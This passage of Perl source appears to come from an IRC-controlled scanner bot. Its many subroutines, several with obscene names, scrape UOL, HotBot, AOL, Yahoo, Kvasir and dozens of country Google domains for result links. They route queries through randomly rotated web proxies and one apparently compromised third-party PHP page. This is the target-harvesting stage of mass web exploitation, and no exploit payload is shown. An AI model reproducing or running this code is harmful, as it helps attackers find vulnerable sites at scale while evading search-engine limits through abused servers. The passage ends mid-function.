        my $search = ("http://busca.uol.com.br/web/?ref=homeuol&q=".uri_escape($key)."&start=".$b);
        my $res = search_engine_query($search);
		if ($res =~ m/retornou nenhum resultado/i) {$b=500;}
        while ($res =~ m/href=\"?http:\/\/([^\">]*)\"/g) {
            my $link = $1;
            if ($link !~ /uol\.com\.br|\/web/i){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub oral() {
  my @list;
  my $key = $_[0];
    for ($b=0; $b<=50; $b+=1) {
        my $search = ("http://www.hotbot.com/search/web?pn=".$b."&q=".uri_escape($key));
        my $res = search_engine_query($search);
		if ($res =~ m/had no web result/i) {$b=50;}
        while ($res =~ m/href=\"http:\/\/(.+?)\" title=/g) {
            my $link = $1;
            if ($link !~ /hotbot\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub klitoris() {
	my @list;
	my $key = $_[0];
	for ($b=0; $b<=300; $b+=10) {
		my $search = ("http://search.aol.com/aol/search?q=".uri_escape($key)."&page=".$b);
		my $res = search_engine_query($search);
		while ($res =~ m/href=\"http:\/\/(.*?)\"/g) {
			my $link = $1;
			if ($link !~ /aol\.com/){
				my @grep = links($link);
				push(@list,@grep);
			}
		}
	}
	return @list;
}

sub masturbasi() {
  my $key = $_[0];
  my @list;
  for ($b=1; $b<=500; $b+=10) {
    $num += $num;
    my $search = "http://cgi.search.biglobe.ne.jp/cgi-bin/search-st_lp2?start=".$b."&ie=utf8&num=".$num."&q=".uri_escape($key)."&lr=all";
    my $res = search_engine_query($search);
    while ( $res =~ m/<a href=\"http:\/\/(.+?)\"/g ) {
	    my $link = $1;
        if ($link !~ /biglobe/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub onani() {
  my @list;
  my $key = $_[0];
  my $b	  = 0;
  my @doms = ("nl","au","br","ca","de","es","fr","it","uk");
  foreach my $domain (@doms) { #$dom = $doms[rand(scalar(@doms))];
    for (my $i=1; $i<=1000; $i+=100) {
        my $search = ("http://".$domain.".search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
        my $res = search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\//g) {
            if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = links($link); push(@list,@grep);
            }
        }
    } return @list;
}

sub sperma() {
    my @list;
    my $key = $_[0];
    for (my $i=10; $i<=1000; $i+=100){
        my $search = ("http://www.kvasir.no/nettsok?q=".$i."&pageSize=100&q=".uri_escape($key)."");
        my $res = search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.+?)\//g) {
            my $link = $1; if ($link !~ /kvasir/){ $link =~ s/<//g; $link =~ s/ //g; my @grep = links($link); push(@list,@grep);
            }
        }
    }
    return @list;
}

sub anal() {
    my @lst;
    my $key = $_[0];
    for (my $i=0; $i<=50; $i+=1){
        my $search = ("http://quintura.com/?request=".uri_escape($key)."&tab=0&page=".$i."&tabid=");
        my $res = search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/(.+?)\//g) {
            my $link = $1;
            if ($link !~ /quintura/){
                my @grep = links($link);
                push(@lst,@grep);
            }
        }
    }
    return @lst;
}

sub puting() {
    my @list;
    my $key = $_[0];
    for ($b=1; $b<=1000; $b+=100) {
        my $search = ("http://search.seznam.cz/?q=".uri_escape($key)."&count=10&pId=SkYLl2GXwV0CZZUQcglt&from=".$b);
        my $res = search_engine_query($search);
        while ($res =~ m/<a href=\"http:\/\/(.+?)\" title/g) {
            if ($1 !~ /seznam/){
            my $link = $1;
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub vagina(){
    my @list;
    my $key = $_[0];
    my $i   = 0;
    for ($i=0; $i<=100; $i+=1){
        my $web=("http://startgoogle.startpagina.nl/index.php?q=".uri_escape($key)."&start=".$i."&origin=homepage&source=geentaal");
        my $Res= search_engine_query($web);
        while ($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
            if ($1 !~ /pagina|pagina's/){
                my $k=$1;
                my @grep=links($k);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub penis(){
	my @list;
	my $key = $_[0];
	for($b=1;$b<=1000;$b+=100){
		my $Th=("http://www.google.pt/search?q=".uri_escape($key)."&in=Mundial&num=25&ckWhere=Mundo&position=".$b."");
		my $Res=search_engine_query($Th);
		while($Res =~ m/href=\"http:\/\/(.+?)\//g){
			my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = links($link); push(@list,@grep);
		}
	}
return @list;
}

sub memek() {
  my @list;
    my $key = $_[0];
    for (my $i=1; $i<=50; $i+=1) {
        my $search = ("http://it.ask.com/web?q=".uri_escape($key)."&qsrc=0&o=0&l=dir&qid=EE90DE6E8F5370F363A63EC61228D4FE&page=".$i."&jss=1&dm=all");
        my $res = search_engine_query($search);
		if ($res !~ /Successiva/) {$i=50;}
        while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=\"/g) {
            if ($1 !~ /ask\.com/){
            my $link = $1;
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}
}

# sub googleCA2 {
    # my @list;
    # my $key = $_[0];
	# my @myprx = @_;
	# my $busca = '';
    # for (my $i=0; $i<=300; $i+=100){
		# srand;
		# $busca = $myprx[rand(scalar(@myprx))];
		# print $busca."\n";
		# &msg("$admin","(@googleca) buscando com: ".$busca."");
		# reset $busca;
    # }
	# reset $busca;
    # return @list;
	# reset $busca;
# }

##################
sub googleAE() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.ae%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryAE%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleORG() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        #my $search = $proxy.'?q=https%3A%2F%2Fwww.google.com%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
my $search = 'http://bluenergyafrica.com/errorrr.php?q='.uri_escape($key).'%26hl%3D%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleWS() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.com%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleXXX() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.com%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleNET() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.com%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleGOV() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.com%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleASIA() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.com%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleZW() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.co.zw%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryZW%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleTT() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.tt%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryTT%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleUG() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.co.ug%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryUG%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleZM() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.co.zm%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryZM%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleVE() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.co.ve%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryVE%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleUZ() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.co.uz%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryUZ%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleUY() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.com.uy%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryUY%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleTN() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.tn%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryTN%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleTO() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.to%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryTO%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleTK() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.tk%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryTK%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleTZ() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.co.tz%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryTZ%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleTJ() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.com.tj%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryTJ%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleLK() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.lk%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryLK%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleSK() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.sk%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountrySK%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleSN() {
 my @list;
